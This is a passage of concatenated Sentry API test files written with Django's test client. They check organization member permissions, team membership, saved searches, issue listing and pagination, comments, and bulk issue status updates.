            organization=organization,
            email='foo@example.com',
            role='member',
        )

        path = reverse('sentry-api-0-organization-member-details', args=[organization.slug, member_om.id])

        self.login_as(self.user)

        resp = self.client.put(path, data={'reinvite': 1})

        assert resp.status_code == 204
        mock_send_invite_email.assert_called_once_with()

    @patch('sentry.models.OrganizationMember.send_sso_link_email')
    def test_reinvite_sso_link(self, mock_send_sso_link_email):
        self.login_as(user=self.user)

        organization = self.create_organization(name='foo', owner=self.user)
        member = self.create_user('bar@example.com')
        member_om = self.create_member(
            organization=organization,
            user=member,
            role='member',
        )
        AuthProvider.objects.create(organization=organization, provider='dummy')

        path = reverse('sentry-api-0-organization-member-details', args=[organization.slug, member_om.id])

        self.login_as(self.user)

        resp = self.client.put(path, data={'reinvite': 1})

        assert resp.status_code == 204
        mock_send_sso_link_email.assert_called_once_with()

    @patch('sentry.models.OrganizationMember.send_sso_link_email')
    def test_cannot_reinvite_normal_member(self, mock_send_sso_link_email):
        self.login_as(user=self.user)

        organization = self.create_organization(name='foo', owner=self.user)
        member = self.create_user('bar@example.com')
        member_om = self.create_member(
            organization=organization,
            user=member,
            role='member',
        )

        path = reverse('sentry-api-0-organization-member-details', args=[organization.slug, member_om.id])

        self.login_as(self.user)

        resp = self.client.put(path, data={'reinvite': 1})

        assert resp.status_code == 400


class DeleteOrganizationMemberTest(APITestCase):
    def test_simple(self):
        self.login_as(user=self.user)

        organization = self.create_organization(name='foo', owner=self.user)
        member = self.create_user('bar@example.com')

        member_om = self.create_member(
            organization=organization,
            user=member,
            role='member',
        )

        path = reverse('sentry-api-0-organization-member-details', args=[organization.slug, member_om.id])

        self.login_as(self.user)

        resp = self.client.delete(path)

        assert resp.status_code == 204

        assert not OrganizationMember.objects.filter(id=member_om.id).exists()

    def test_cannot_delete_member_with_higher_access(self):
        organization = self.create_organization(name='foo', owner=self.user)

        other_user = self.create_user('bar@example.com')

        self.create_member(
            organization=organization,
            role='manager',
            user=other_user,
        )

        owner_om = OrganizationMember.objects.get(
            organization=organization,
            user=self.user,
        )

        assert owner_om.role == 'owner'

        path = reverse('sentry-api-0-organization-member-details', args=[organization.slug, owner_om.id])

        self.login_as(other_user)

        resp = self.client.delete(path)

        assert resp.status_code == 400

        assert OrganizationMember.objects.filter(id=owner_om.id).exists()

    def test_cannot_delete_only_owner(self):
        self.login_as(user=self.user)

        organization = self.create_organization(name='foo', owner=self.user)

        # create a pending member, which shouldn't be counted in the checks
        self.create_member(
            organization=organization,
            role='owner',
            email='bar@example.com',
        )

        owner_om = OrganizationMember.objects.get(
            organization=organization,
            user=self.user,
        )

        assert owner_om.role == 'owner'

        path = reverse('sentry-api-0-organization-member-details', args=[organization.slug, owner_om.id])

        self.login_as(self.user)

        resp = self.client.delete(path)

        assert resp.status_code == 403

        assert OrganizationMember.objects.filter(id=owner_om.id).exists()

    def test_can_delete_self(self):
        organization = self.create_organization(name='foo', owner=self.user)

        other_user = self.create_user('bar@example.com')

        self.create_member(
            organization=organization,
            role='member',
            user=other_user,
        )

        path = reverse('sentry-api-0-organization-member-details', args=[organization.slug, 'me'])

        self.login_as(other_user)

        resp = self.client.delete(path)

        assert resp.status_code == 204

        assert not OrganizationMember.objects.filter(
            user=other_user,
            organization=organization,
        ).exists()

    def test_missing_scope(self):
        organization = self.create_organization(name='foo', owner=self.user)

        admin_user = self.create_user('bar@example.com')

        self.create_member(
            organization=organization,
            role='admin',
            user=admin_user,
        )

        member_user = self.create_user('baz@example.com')

        member_om = self.create_member(
            organization=organization,
            role='member',
            user=member_user,
        )

        path = reverse('sentry-api-0-organization-member-details', args=[
            organization.slug, member_om.id,
        ])

        self.login_as(admin_user)

        resp = self.client.delete(path)

        assert resp.status_code == 400

        assert OrganizationMember.objects.filter(id=member_om.id).exists()






from __future__ import absolute_import

from django.core.urlresolvers import reverse

from sentry.models import (
    Organization, OrganizationAccessRequest, OrganizationMemberTeam
)
from sentry.testutils import APITestCase


class CreateOrganizationMemberTeamTest(APITestCase):
    def test_can_join_as_owner_without_open_membership(self):
        organization = self.create_organization(
            name='foo',
            owner=self.user,
            flags=0,
        )
        team = self.create_team(name='foo', organization=organization)
        user = self.create_user('dummy@example.com')
        member_om = self.create_member(
            organization=organization,
            user=user,
            role='owner',
            teams=[],
        )

        path = reverse('sentry-api-0-organization-member-team-details', args=[
            organization.slug, member_om.id, team.slug,
        ])

        self.login_as(user)

        resp = self.client.post(path)

        assert resp.status_code == 201

    def test_cannot_join_as_member_without_open_membership(self):
        organization = self.create_organization(
            name='foo',
            owner=self.user,
            flags=0,
        )
        team = self.create_team(name='foo', organization=organization)
        user = self.create_user('dummy@example.com')
        member_om = self.create_member(
            organization=organization,
            user=user,
            role='member',
            teams=[],
        )

        path = reverse('sentry-api-0-organization-member-team-details', args=[
            organization.slug, member_om.id, team.slug,
        ])

        self.login_as(user)

        resp = self.client.post(path)

        assert resp.status_code == 202

        assert not OrganizationMemberTeam.objects.filter(
            team=team,
            organizationmember=member_om,
        ).exists()
        assert OrganizationAccessRequest.objects.filter(
            team=team,
            member=member_om,
        ).exists()

    def test_can_join_as_member_with_open_membership(self):
        organization = self.create_organization(
            name='foo',
            owner=self.user,
            flags=Organization.flags.allow_joinleave,
        )
        team = self.create_team(name='foo', organization=organization)
        user = self.create_user('dummy@example.com')
        member_om = self.create_member(
            organization=organization,
            user=user,
            role='member',
            teams=[],
        )

        path = reverse('sentry-api-0-organization-member-team-details', args=[
            organization.slug, member_om.id, team.slug,
        ])

        self.login_as(user)

        resp = self.client.post(path)

        assert resp.status_code == 201

        assert OrganizationMemberTeam.objects.filter(
            team=team,
            organizationmember=member_om,
        ).exists()


class DeleteOrganizationMemberTeamTest(APITestCase):
    def test_can_leave_as_member(self):
        organization = self.create_organization(name='foo', owner=self.user)
        team = self.create_team(name='foo', organization=organization)
        user = self.create_user('dummy@example.com')
        member_om = self.create_member(
            organization=organization,
            user=user,
            role='member',
            teams=[team],
        )

        path = reverse('sentry-api-0-organization-member-team-details', args=[
            organization.slug, member_om.id, team.slug,
        ])

        self.login_as(user)

        resp = self.client.delete(path)

        assert resp.status_code == 200

        assert not OrganizationMemberTeam.objects.filter(
            team=team,
            organizationmember=member_om,
        ).exists()

    def test_can_leave_as_non_member(self):
        organization = self.create_organization(name='foo', owner=self.user)
        team = self.create_team(name='foo', organization=organization)
        user = self.create_user('dummy@example.com', is_superuser=False)
        member_om = self.create_member(
            organization=organization,
            user=user,
            role='member',
            teams=[],
        )

        path = reverse('sentry-api-0-organization-member-team-details', args=[
            organization.slug, member_om.id, team.slug,
        ])

        self.login_as(user)

        resp = self.client.delete(path)

        assert resp.status_code == 200

        assert not OrganizationMemberTeam.objects.filter(
            team=team,
            organizationmember=member_om,
        ).exists()

    def test_can_leave_as_superuser_without_membership(self):
        organization = self.create_organization(name='foo', owner=self.user)
        team = self.create_team(name='foo', organization=organization)
        user = self.create_user('dummy@example.com', is_superuser=True)
        member_om = self.create_member(
            organization=organization,
            user=user,
            role='member',
            teams=[],
        )

        path = reverse('sentry-api-0-organization-member-team-details', args=[
            organization.slug, member_om.id, team.slug,
        ])

        self.login_as(user)

        resp = self.client.delete(path)

        assert resp.status_code == 200

        assert not OrganizationMemberTeam.objects.filter(
            team=team,
            organizationmember=member_om,
        ).exists()






from __future__ import absolute_import

import six

from django.core.urlresolvers import reverse

from sentry.models import SavedSearch, SavedSearchUserDefault
from sentry.testutils import APITestCase


class ProjectSearchDetailsTest(APITestCase):
    def test_simple(self):
        self.login_as(user=self.user)

        project = self.create_project(name='foo')
        search = SavedSearch.objects.create(
            project=project,
            name='foo',
            query='',
        )

        url = reverse('sentry-api-0-project-search-details', kwargs={
            'organization_slug': project.organization.slug,
            'project_slug': project.slug,
            'search_id': search.id,
        })
        response = self.client.get(url)

        assert response.status_code == 200, response.content
        assert response.data['id'] == six.text_type(search.id)


class UpdateProjectSearchDetailsTest(APITestCase):
    def test_simple(self):
        self.login_as(user=self.user)

        project = self.create_project(name='foo')
        search = SavedSearch.objects.create(
            project=project,
            name='foo',
            query='',
        )

        url = reverse('sentry-api-0-project-search-details', kwargs={
            'organization_slug': project.organization.slug,
            'project_slug': project.slug,
            'search_id': search.id,
        })
        response = self.client.put(url, {'name': 'bar'})

        assert response.status_code == 200, response.content
        assert response.data['id'] == six.text_type(search.id)

        search = SavedSearch.objects.get(id=search.id)
        assert search.name == 'bar'

    def test_changing_default(self):
        self.login_as(user=self.user)

        project = self.create_project(name='foo')
        search = SavedSearch.objects.create(
            project=project,
            name='foo',
            query='',
            is_default=False,
        )
        search2 = SavedSearch.objects.create(
            project=project,
            name='bar',
            query='',
            is_default=True,
        )

        url = reverse('sentry-api-0-project-search-details', kwargs={
            'organization_slug': project.organization.slug,
            'project_slug': project.slug,
            'search_id': search.id,
        })
        response = self.client.put(url, {'isDefault': True})

        assert response.status_code == 200, response.content
        assert response.data['id'] == six.text_type(search.id)

        search = SavedSearch.objects.get(id=search.id)
        assert search.is_default

        search2 = SavedSearch.objects.get(id=search2.id)
        assert not search2.is_default

    def test_changing_user_default(self):
        self.login_as(user=self.user)

        project = self.create_project(name='foo')
        search = SavedSearch.objects.create(
            project=project,
            name='foo',
            query='',
            is_default=True,
        )
        search2 = SavedSearch.objects.create(
            project=project,
            name='bar',
            query='',
            is_default=False,
        )
        userdefault = SavedSearchUserDefault.objects.create(
            savedsearch=search2,
            project=project,
            user=self.user,
        )

        url = reverse('sentry-api-0-project-search-details', kwargs={
            'organization_slug': project.organization.slug,
            'project_slug': project.slug,
            'search_id': search2.id,
        })
        response = self.client.put(url, {'isUserDefault': True})

        assert response.status_code == 200, response.content
        assert response.data['id'] == six.text_type(search2.id)

        search = SavedSearch.objects.get(id=search.id)
        assert search.is_default
        search2 = SavedSearch.objects.get(id=search2.id)
        assert not search2.is_default
        userdefault = SavedSearchUserDefault.objects.get(id=userdefault.id)
        assert userdefault.savedsearch == search2

    def test_member_can_override_their_default(self):
        project = self.create_project(name='foo')

        member = self.create_user('member@example.com', is_superuser=False)
        self.create_member(
            user=member,
            role='member',
            organization=project.organization,
            teams=[project.team],
        )

        search = SavedSearch.objects.create(
            project=project,
            name='foo',
            query='',
        )

        SavedSearch.objects.create(
            project=project,
            name='bar',
            query='',
            is_default=True,
        )

        self.login_as(user=member)

        url = reverse('sentry-api-0-project-search-details', kwargs={
            'organization_slug': project.organization.slug,
            'project_slug': project.slug,
            'search_id': search.id,
        })
        response = self.client.put(url, {
            # these params get ignored barring isUserDefault
            'name': 'baz',
            'isUserDefault': True,
            'isDefault': True,
        })

        assert response.status_code == 200, response.content
        assert response.data['id'] == six.text_type(search.id)

        search = SavedSearch.objects.get(id=search.id)
        assert search.name == 'foo'
        assert not search.is_default

        assert SavedSearchUserDefault.objects.filter(
            user=member,
            project=project,
            savedsearch=search,
        ).exists()


class DeleteProjectSearchTest(APITestCase):
    def test_simple(self):
        self.login_as(user=self.user)

        project = self.create_project(name='foo')
        search = SavedSearch.objects.create(
            project=project,
            name='foo',
            query='',
        )

        url = reverse('sentry-api-0-project-search-details', kwargs={
            'organization_slug': project.organization.slug,
            'project_slug': project.slug,
            'search_id': search.id,
        })
        response = self.client.delete(url)

        assert response.status_code == 204, response.content

        assert not SavedSearch.objects.filter(id=search.id).exists()






from __future__ import absolute_import

import six

from datetime import datetime

from sentry.testutils import APITestCase


class GroupEventsOldestTest(APITestCase):
    def test_simple(self):
        self.login_as(user=self.user)

        group = self.create_group()
        event_1 = self.create_event(
            event_id='a',
            group=group,
            datetime=datetime(2013, 8, 13, 3, 8, 25),
        )
        self.create_event(
            event_id='b',
            group=group,
            datetime=datetime(2013, 8, 13, 3, 8, 26),
        )

        url = '/api/0/issues/{}/events/oldest/'.format(group.id)
        response = self.client.get(url, format='json')

        assert response.status_code == 200
        assert response.data['id'] == six.text_type(event_1.id)






from __future__ import absolute_import

from sentry.app import tsdb
from sentry.testutils import APITestCase


class GroupStatsTest(APITestCase):
    def test_simple(self):
        self.login_as(user=self.user)

        group1 = self.create_group()
        group2 = self.create_group()

        url = '/api/0/issues/{}/stats/'.format(group1.id)
        response = self.client.get(url, format='json')

        assert response.status_code == 200, response.content
        for point in response.data:
            assert point[1] == 0
        assert len(response.data) == 24

        tsdb.incr(tsdb.models.group, group1.id, count=3)
        tsdb.incr(tsdb.models.group, group2.id, count=5)

        response = self.client.get(url, format='json')

        assert response.status_code == 200, response.content
        assert response.data[-1][1] == 3, response.data
        for point in response.data[:-1]:
            assert point[1] == 0
        assert len(response.data) == 24






from __future__ import absolute_import

import six

from datetime import timedelta
from django.utils import timezone

from sentry.models import OrganizationMember, OrganizationMemberTeam
from sentry.testutils import APITestCase


class OrganizationIssuesNewTest(APITestCase):
    def test_simple(self):
        now = timezone.now()
        user = self.create_user('foo@example.com')
        org = self.create_organization(owner=user)
        project1 = self.create_project(organization=org, name='foo')
        project2 = self.create_project(organization=org, name='bar')
        group1 = self.create_group(checksum='a' * 32, project=project1, score=10, first_seen=now)
        group2 = self.create_group(checksum='b' * 32, project=project2, score=5, first_seen=now + timedelta(seconds=1))
        member = OrganizationMember.objects.get(
            user=user,
            organization=org,
        )
        OrganizationMemberTeam.objects.create(
            organizationmember=member,
            team=project1.team,
        )

        self.login_as(user=user)

        url = '/api/0/organizations/{}/issues/new/'.format(
            org.slug,
        )
        response = self.client.get(url, format='json')
        assert response.status_code == 200
        assert len(response.data) == 2
        assert response.data[0]['id'] == six.text_type(group2.id)
        assert response.data[1]['id'] == six.text_type(group1.id)






from __future__ import absolute_import

from django.core.urlresolvers import reverse

from sentry.testutils import APITestCase


class ProjectMemberIndexTest(APITestCase):
    def test_simple(self):
        user_1 = self.create_user('foo@localhost', username='foo')
        user_2 = self.create_user('bar@localhost', username='bar')
        user_3 = self.create_user('baz@localhost', username='baz')
        org = self.create_organization(owner=user_1)
        team = self.create_team(organization=org, slug='baz')
        project_1 = self.create_project(team=team, slug='foo')
        self.create_project(team=team, slug='bar')
        self.create_member(organization=org, user=user_2, teams=[project_1.team])
        self.create_member(organization=org, user=user_3, teams=[project_1.team])

        self.login_as(user=user_2)

        url = reverse('sentry-api-0-project-member-index', kwargs={
            'organization_slug': project_1.organization.slug,
            'project_slug': project_1.slug,
        })
        response = self.client.get(url)
        assert response.status_code == 200
        assert len(response.data) == 2
        assert response.data[0]['email'] == user_2.email
        assert response.data[1]['email'] == user_3.email






from __future__ import absolute_import

from django.core.urlresolvers import reverse

from sentry.app import tsdb
from sentry.testutils import APITestCase


class ProjectStatsTest(APITestCase):
    def test_simple(self):
        self.login_as(user=self.user)

        project1 = self.create_project(name='foo')
        project2 = self.create_project(name='bar')

        tsdb.incr(tsdb.models.project_total_received, project1.id, count=3)
        tsdb.incr(tsdb.models.project_total_received, project2.id, count=5)

        url = reverse('sentry-api-0-project-stats', kwargs={
            'organization_slug': project1.organization.slug,
            'project_slug': project1.slug,
        })
        response = self.client.get(url, format='json')

        assert response.status_code == 200, response.content
        assert response.data[-1][1] == 3, response.data
        for point in response.data[:-1]:
            assert point[1] == 0
        assert len(response.data) == 24






from __future__ import absolute_import

import six

from sentry.models import Activity
from sentry.testutils import APITestCase


class GroupNoteTest(APITestCase):
    def test_simple(self):
        group = self.group

        activity = Activity.objects.create(
            group=group,
            project=group.project,
            type=Activity.NOTE,
            user=self.user,
            data={'text': 'hello world'},
        )

        self.login_as(user=self.user)

        url = '/api/0/issues/{}/comments/'.format(group.id)
        response = self.client.get(url, format='json')
        assert response.status_code == 200, response.content
        assert len(response.data) == 1
        assert response.data[0]['id'] == six.text_type(activity.id)


class GroupNoteCreateTest(APITestCase):
    def test_simple(self):
        group = self.group

        self.login_as(user=self.user)

        url = '/api/0/issues/{}/comments/'.format(group.id)

        response = self.client.post(url, format='json')
        assert response.status_code == 400

        response = self.client.post(url, format='json', data={
            'text': 'hello world',
        })
        assert response.status_code == 201, response.content

        activity = Activity.objects.get(id=response.data['id'])
        assert activity.user == self.user
        assert activity.group == group
        assert activity.data == {'text': 'hello world'}

        response = self.client.post(url, format='json', data={
            'text': 'hello world',
        })
        assert response.status_code == 400, response.content






from __future__ import absolute_import

import six

from datetime import timedelta
from django.utils import timezone
from exam import fixture
from mock import patch

from sentry.models import (
    Activity, EventMapping, Group, GroupBookmark, GroupResolution, GroupSeen,
    GroupSnooze, GroupSubscription, GroupStatus, Release
)
from sentry.testutils import APITestCase
from sentry.testutils.helpers import parse_link_header


class GroupListTest(APITestCase):
    def _parse_links(self, header):
        # links come in {url: {...attrs}}, but we need {rel: {...attrs}}
        links = {}
        for url, attrs in six.iteritems(parse_link_header(header)):
            links[attrs['rel']] = attrs
            attrs['href'] = url
        return links

    @fixture
    def path(self):
        return '/api/0/projects/{}/{}/issues/'.format(
            self.project.organization.slug,
            self.project.slug,
        )

    def test_sort_by_date_with_tag(self):
        # XXX(dcramer): this tests a case where an ambiguous column name existed
        now = timezone.now()
        group1 = self.create_group(
            checksum='a' * 32,
            last_seen=now - timedelta(seconds=1),
        )
        self.login_as(user=self.user)

        response = self.client.get(
            '{}?sort_by=date&query=is:unresolved'.format(self.path),
            format='json',
        )
        assert response.status_code == 200
        assert len(response.data) == 1
        assert response.data[0]['id'] == six.text_type(group1.id)

    def test_simple_pagination(self):
        now = timezone.now().replace(microsecond=0)
        group1 = self.create_group(
            checksum='a' * 32,
            last_seen=now - timedelta(seconds=1),
        )
        group2 = self.create_group(
            checksum='b' * 32,
            last_seen=now,
        )
        # group3 = self.create_group(
        #     checksum='c' * 32,
        #     last_seen=now - timedelta(seconds=1),
        # )

        self.login_as(user=self.user)
        response = self.client.get(
            '{}?sort_by=date&limit=1'.format(self.path),
            format='json',
        )
        assert response.status_code == 200
        assert len(response.data) == 1
        assert response.data[0]['id'] == six.text_type(group2.id)

        links = self._parse_links(response['Link'])

        assert links['previous']['results'] == 'false'
        assert links['next']['results'] == 'true'

        print(links['next']['cursor'])
        response = self.client.get(links['next']['href'], format='json')
        assert response.status_code == 200
        assert len(response.data) == 1
        assert response.data[0]['id'] == six.text_type(group1.id)

        links = self._parse_links(response['Link'])

        assert links['previous']['results'] == 'true'
        assert links['next']['results'] == 'false'

        # TODO(dcramer): not working correctly
        # print(links['previous']['cursor'])
        # response = self.client.get(links['previous']['href'], format='json')
        # assert response.status_code == 200
        # assert len(response.data) == 1
        # assert response.data[0]['id'] == six.text_type(group2.id)

        # links = self._parse_links(response['Link'])

        # assert links['previous']['results'] == 'false'
        # assert links['next']['results'] == 'true'

        # print(links['previous']['cursor'])
        # response = self.client.get(links['previous']['href'], format='json')
        # assert response.status_code == 200
        # assert len(response.data) == 0

        # group3 = self.create_group(
        #     checksum='c' * 32,
        #     last_seen=now + timedelta(seconds=1),
        # )

        # links = self._parse_links(response['Link'])

        # assert links['previous']['results'] == 'false'
        # assert links['next']['results'] == 'true'

        # print(links['previous']['cursor'])
        # response = self.client.get(links['previous']['href'], format='json')
        # assert response.status_code == 200
        # assert len(response.data) == 1
        # assert response.data[0]['id'] == six.text_type(group3.id)

    def test_stats_period(self):
        # TODO(dcramer): this test really only checks if validation happens
        # on statsPeriod
        now = timezone.now()
        self.create_group(
            checksum='a' * 32,
            last_seen=now - timedelta(seconds=1),
        )
        self.create_group(
            checksum='b' * 32,
            last_seen=now,
        )

        self.login_as(user=self.user)

        response = self.client.get('{}?statsPeriod=24h'.format(self.path),
                                   format='json')
        assert response.status_code == 200

        response = self.client.get('{}?statsPeriod=14d'.format(self.path),
                                   format='json')
        assert response.status_code == 200

        response = self.client.get('{}?statsPeriod='.format(self.path),
                                   format='json')
        assert response.status_code == 200

        response = self.client.get('{}?statsPeriod=48h'.format(self.path),
                                   format='json')
        assert response.status_code == 400

    def test_auto_resolved(self):
        project = self.project
        project.update_option('sentry:resolve_age', 1)
        now = timezone.now()
        self.create_group(
            checksum='a' * 32,
            last_seen=now - timedelta(days=1),
        )
        group2 = self.create_group(
            checksum='b' * 32,
            last_seen=now,
        )

        self.login_as(user=self.user)
        response = self.client.get(self.path, format='json')
        assert response.status_code == 200
        assert len(response.data) == 1
        assert response.data[0]['id'] == six.text_type(group2.id)

    def test_lookup_by_event_id(self):
        project = self.project
        project.update_option('sentry:resolve_age', 1)
        group = self.create_group(checksum='a' * 32)
        self.create_group(checksum='b' * 32)
        EventMapping.objects.create(
            event_id='c' * 32,
            project=group.project,
            group=group,
        )

        self.login_as(user=self.user)
        response = self.client.get('{}?query={}'.format(self.path, 'c' * 32),
                                   format='json')
        assert response.status_code == 200
        assert len(response.data) == 1
        assert response.data[0]['id'] == six.text_type(group.id)

    def test_lookup_by_event_id_with_whitespace(self):
        project = self.project
        project.update_option('sentry:resolve_age', 1)
        group = self.create_group(checksum='a' * 32)
        self.create_group(checksum='b' * 32)
        EventMapping.objects.create(
            event_id='c' * 32,
            project=group.project,
            group=group,
        )

        self.login_as(user=self.user)
        response = self.client.get('{}?query=%20%20{}%20%20'.format(self.path, 'c' * 32),
                                   format='json')
        assert response.status_code == 200
        assert len(response.data) == 1
        assert response.data[0]['id'] == six.text_type(group.id)

    def test_lookup_by_unknown_event_id(self):
        project = self.project
        project.update_option('sentry:resolve_age', 1)
        self.create_group(checksum='a' * 32)
        self.create_group(checksum='b' * 32)

        self.login_as(user=self.user)
        response = self.client.get('{}?query={}'.format(self.path, 'c' * 32),
                                   format='json')
        assert response.status_code == 200
        assert len(response.data) == 0


class GroupUpdateTest(APITestCase):
    @fixture
    def path(self):
        return '/api/0/projects/{}/{}/issues/'.format(
            self.project.organization.slug,
            self.project.slug,
        )

    def test_global_resolve(self):
        group1 = self.create_group(checksum='a' * 32, status=GroupStatus.RESOLVED)
        group2 = self.create_group(checksum='b' * 32, status=GroupStatus.UNRESOLVED)
        group3 = self.create_group(checksum='c' * 32, status=GroupStatus.MUTED)
        group4 = self.create_group(
            project=self.create_project(slug='foo'),
            checksum='b' * 32, status=GroupStatus.UNRESOLVED)

        self.login_as(user=self.user)
        response = self.client.put(
            '{}?status=unresolved'.format(self.path),
            data={
                'status': 'resolved',
            },
            format='json',
        )
        assert response.status_code == 200, response.data
        assert response.data == {
            'status': 'resolved',
            'statusDetails': {},
        }

        # the previously resolved entry should not be included
        new_group1 = Group.objects.get(id=group1.id)
        assert new_group1.status == GroupStatus.RESOLVED
        assert new_group1.resolved_at is None

        # this wont exist because it wasn't affected
        assert not GroupSubscription.objects.filter(
            user=self.user,
            group=new_group1,
        ).exists()

        new_group2 = Group.objects.get(id=group2.id)
        assert new_group2.status == GroupStatus.RESOLVED
        assert new_group2.resolved_at is not None

        assert GroupSubscription.objects.filter(
            user=self.user,
            group=new_group2,
            is_active=True,
        ).exists()

        # the muted entry should not be included
        new_group3 = Group.objects.get(id=group3.id)
        assert new_group3.status == GroupStatus.MUTED
        assert new_group3.resolved_at is None

        assert not GroupSubscription.objects.filter(
            user=self.user,
            group=new_group3,
        )

        new_group4 = Group.objects.get(id=group4.id)
        assert new_group4.status == GroupStatus.UNRESOLVED
        assert new_group4.resolved_at is None

        assert not GroupSubscription.objects.filter(
            user=self.user,
            group=new_group4,
        )

    def test_selective_status_update(self):
        group1 = self.create_group(checksum='a' * 32, status=GroupStatus.RESOLVED)
        group2 = self.create_group(checksum='b' * 32, status=GroupStatus.UNRESOLVED)
        group3 = self.create_group(checksum='c' * 32, status=GroupStatus.MUTED)
        group4 = self.create_group(
            project=self.create_project(slug='foo'),
            checksum='b' * 32, status=GroupStatus.UNRESOLVED)

        self.login_as(user=self.user)
        url = '{url}?id={group1.id}&id={group2.id}&group4={group4.id}'.format(
            url=self.path,
            group1=group1,
            group2=group2,
            group4=group4,
        )
        response = self.client.put(url, data={
            'status': 'resolved',
        }, format='json')
        assert response.status_code == 200
        assert response.data == {
            'status': 'resolved',
            'statusDetails': {},
        }

        new_group1 = Group.objects.get(id=group1.id)
        assert new_group1.resolved_at is None

        new_group2 = Group.objects.get(id=group2.id)
        assert new_group2.resolved_at is not None
        assert new_group2.status == GroupStatus.RESOLVED

        assert GroupSubscription.objects.filter(
            user=self.user,
            group=new_group2,
            is_active=True,
        ).exists()

        new_group3 = Group.objects.get(id=group3.id)
        assert new_group3.resolved_at is None
        assert new_group3.status == GroupStatus.MUTED

        new_group4 = Group.objects.get(id=group4.id)
        assert new_group4.resolved_at is None
        assert new_group4.status == GroupStatus.UNRESOLVED

    def test_set_resolved_in_next_release(self):
        release = Release.objects.create(project=self.project, version='a')

        group = self.create_group(
            checksum='a' * 32,
            status=GroupStatus.UNRESOLVED,
        )

        self.login_as(user=self.user)

        url = '{url}?id={group.id}'.format(
            url=self.path,
            group=group,
        )
        response = self.client.put(url, data={
            'status': 'resolvedInNextRelease',
        }, format='json')
        assert response.status_code == 200
        assert response.data == {
            'status': 'resolved',
            'statusDetails': {
                'inNextRelease': True,
            },
        }

        group = Group.objects.get(id=group.id)
        assert group.status == GroupStatus.RESOLVED

        assert GroupResolution.objects.filter(
            group=group,
            release=release,
        ).exists()

        assert GroupSubscription.objects.filter(
            user=self.user,
            group=group,
            is_active=True,
        ).exists()

        activity = Activity.objects.get(
            group=group,
            type=Activity.SET_RESOLVED_IN_RELEASE,
        )
        assert activity.data['version'] == ''

    def test_set_unresolved(self):
        group = self.create_group(checksum='a' * 32, status=GroupStatus.RESOLVED)

        self.login_as(user=self.user)

        url = '{url}?id={group.id}'.format(
            url=self.path,
            group=group,
        )
        response = self.client.put(url, data={
            'status': 'unresolved',
        }, format='json')
        assert response.status_code == 200
        assert response.data == {
            'status': 'unresolved',
            'statusDetails': {},
        }

        group = Group.objects.get(id=group.id)
        assert group.status == GroupStatus.UNRESOLVED

        assert GroupSubscription.objects.filter(
            user=self.user,
            group=group,
            is_active=True,
        ).exists()

    def test_set_unresolved_on_snooze(self):
        group = self.create_group(checksum='a' * 32, status=GroupStatus.MUTED)

        GroupSnooze.objects.create(
            group=group,
            until=timezone.now() - timedelta(days=1),
        )

        self.login_as(user=self.user)

        url = '{url}?id={group.id}'.format(
            url=self.path,
            group=group,
        )
        response = self.client.put(url, data={
            'status': 'unresolved',
        }, format='json')
        assert response.status_code == 200
        assert response.data == {
            'status': 'unresolved',
            'statusDetails': {},
        }

        group = Group.objects.get(id=group.id)
        assert group.status == GroupStatus.UNRESOLVED

    def test_snooze_duration(self):
        group = self.create_group(checksum='a' * 32, status=GroupStatus.RESOLVED)

        self.login_as(user=self.user)

        url = '{url}?id={group.id}'.format(
            url=self.path,
            group=group,
        )
        response = self.client.put(url, data={
            'status': 'muted',
            'snoozeDuration': 30,
        }, format='json')

        assert response.status_code == 200

        snooze = GroupSnooze.objects.get(group=group)
        snooze.until = snooze.until.replace(microsecond=0)

        # Drop microsecond value for MySQL
        now = timezone.now().replace(microsecond=0)

        assert snooze.until > now + timedelta(minutes=29)
        assert snooze.until < now + timedelta(minutes=31)

        # Drop microsecond value for MySQL
        response.data['statusDetails']['snoozeUntil'] = response.data['statusDetails']['snoozeUntil'].replace(microsecond=0)

        assert response.data == {
            'status': 'muted',
            'statusDetails': {
                'snoozeUntil': snooze.until,
            },
        }

        group = Group.objects.get(id=group.id)
        assert group.get_status() == GroupStatus.MUTED

    def test_set_bookmarked(self):
        group1 = self.create_group(checksum='a' * 32, status=GroupStatus.RESOLVED)
        group2 = self.create_group(checksum='b' * 32, status=GroupStatus.UNRESOLVED)
        group3 = self.create_group(checksum='c' * 32, status=GroupStatus.MUTED)
        group4 = self.create_group(
            project=self.create_project(slug='foo'),
            checksum='b' * 32, status=GroupStatus.UNRESOLVED)

        self.login_as(user=self.user)
        url = '{url}?id={group1.id}&id={group2.id}&group4={group4.id}'.format(
            url=self.path,
            group1=group1,
            group2=group2,
            group4=group4,
        )
        response = self.client.put(url, data={
            'isBookmarked': 'true',
        }, format='json')
        assert response.status_code == 200
        assert response.data == {
            'isBookmarked': True,
        }

        bookmark1 = GroupBookmark.objects.filter(group=group1, user=self.user)
        assert bookmark1.exists()

        assert GroupSubscription.objects.filter(
            user=self.user,
            group=group1,
            is_active=True,
        ).exists()

        bookmark2 = GroupBookmark.objects.filter(group=group2, user=self.user)
        assert bookmark2.exists()

        assert GroupSubscription.objects.filter(
            user=self.user,
            group=group2,
            is_active=True,
        ).exists()

        bookmark3 = GroupBookmark.objects.filter(group=group3, user=self.user)
        assert not bookmark3.exists()

        bookmark4 = GroupBookmark.objects.filter(group=group4, user=self.user)
        assert not bookmark4.exists()

    def test_subscription(self):
        group1 = self.create_group(checksum='a' * 32)
        group2 = self.create_group(checksum='b' * 32)
        group3 = self.create_group(checksum='c' * 32)
        group4 = self.create_group(
            project=self.create_project(slug='foo'),
            checksum='b' * 32)

        self.login_as(user=self.user)
        url = '{url}?id={group1.id}&id={group2.id}&group4={group4.id}'.format(
            url=self.path,
            group1=group1,
            group2=group2,
            group4=group4,
        )
        response = self.client.put(url, data={
            'isSubscribed': 'true',
        }, format='json')
        assert response.status_code == 200
        assert response.data == {
            'isSubscribed': True,
        }

        assert GroupSubscription.objects.filter(
            group=group1, user=self.user, is_active=True,
        ).exists()

        assert GroupSubscription.objects.filter(
            group=group2, user=self.user, is_active=True,
        ).exists()

        assert not GroupSubscription.objects.filter(
            group=group3, user=self.user,
        ).exists()

        assert not GroupSubscription.objects.filter(
            group=group4, user=self.user,
        ).exists()

    def test_set_public(self):
        group1 = self.create_group(checksum='a' * 32, is_public=False)
        group2 = self.create_group(checksum='b' * 32, is_public=False)

        self.login_as(user=self.user)
        url = '{url}?id={group1.id}&id={group2.id}'.format(
            url=self.path,
            group1=group1,
            group2=group2,
        )
        response = self.client.put(url, data={
            'isPublic': 'true',
        }, format='json')
        assert response.status_code == 200
        assert response.data == {
            'isPublic': True,
        }

        new_group1 = Group.objects.get(id=group1.id)
        assert new_group1.is_public

